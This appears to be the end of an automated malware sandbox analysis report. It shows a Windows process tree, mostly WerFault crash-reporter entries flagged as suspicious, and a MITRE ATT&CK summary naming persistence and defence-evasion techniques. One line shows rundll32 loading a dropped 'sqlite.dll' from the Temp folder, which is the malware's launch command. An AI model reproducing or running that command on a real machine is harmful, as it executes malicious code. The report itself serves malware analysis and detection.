C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:5300
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 7520 -ip 75201⤵PID:7712
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 5744 -ip 57441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:676
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 768 -p 4872 -ip 48721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7888
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 748 -p 4780 -ip 47801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7760
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5788 -ip 57881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8284
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 8752 -ip 87521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:800
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4892
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 3820 -ip 38201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8740
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 1452 -ip 14521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5492
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 8340 -ip 83401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 5324 -ip 53241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 836 -p 9192 -ip 91921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9352
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 860 -p 3084 -ip 30841⤵PID:9388
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 8380 -ip 83801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:10124
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 852 -p 5404 -ip 54041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:10148
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 880 -p 9628 -ip 96281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 916 -p 8640 -ip 86401⤵PID:9400
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 6336 -ip 63361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 940 -p 6916 -ip 69161⤵PID:3856
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 892 -p 8704 -ip 87041⤵PID:9120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 4840 -ip 48401⤵PID:4480
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:8520
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 780 -p 6284 -ip 62841⤵PID:7464
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4840
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7476 -ip 74761⤵PID:9076
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 3132 -ip 31321⤵PID:8340
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 7792 -ip 77921⤵PID:5816
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 1140 -ip 11401⤵PID:9504
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 912 -p 9580 -ip 95801⤵PID:2880
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 1200 -ip 12001⤵PID:7128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 928 -p 10864 -ip 108641⤵PID:5464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 8588 -ip 85881⤵PID:2656
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 812 -p 7580 -ip 75801⤵PID:2096
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 888 -p 1112 -ip 11121⤵PID:5852
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 11204 -ip 112041⤵PID:6220
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 940 -p 7588 -ip 75881⤵PID:8152
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 5216 -ip 52161⤵PID:7800
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 9732 -ip 97321⤵PID:5256
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 5332 -ip 53321⤵PID:1220
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 11256 -ip 112561⤵PID:7044
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 2468 -ip 24681⤵PID:6352
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 784 -p 10344 -ip 103441⤵PID:7848
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 868 -p 10820 -ip 108201⤵PID:10616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 948 -p 9500 -ip 95001⤵PID:5472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 10864 -ip 108641⤵PID:7616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 7032 -ip 70321⤵PID:8100
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 9412 -ip 94121⤵PID:6700
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 6356 -ip 63561⤵PID:6440
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 852 -p 3736 -ip 37361⤵PID:10384
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 8132 -ip 81321⤵PID:7016
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 896 -p 12128 -ip 121281⤵PID:11828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 13720 -ip 137201⤵PID:13968
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 884 -p 13924 -ip 139241⤵PID:13812
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 896 -p 8408 -ip 84081⤵PID:11940
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 952 -p 2032 -ip 20321⤵PID:12780
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 12744 -ip 127441⤵PID:9152
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 976 -p 13764 -ip 137641⤵PID:14576
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 908 -p 13188 -ip 131881⤵PID:14788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 988 -p 15036 -ip 150361⤵PID:15148
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 896 -p 14904 -ip 149041⤵PID:2856
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1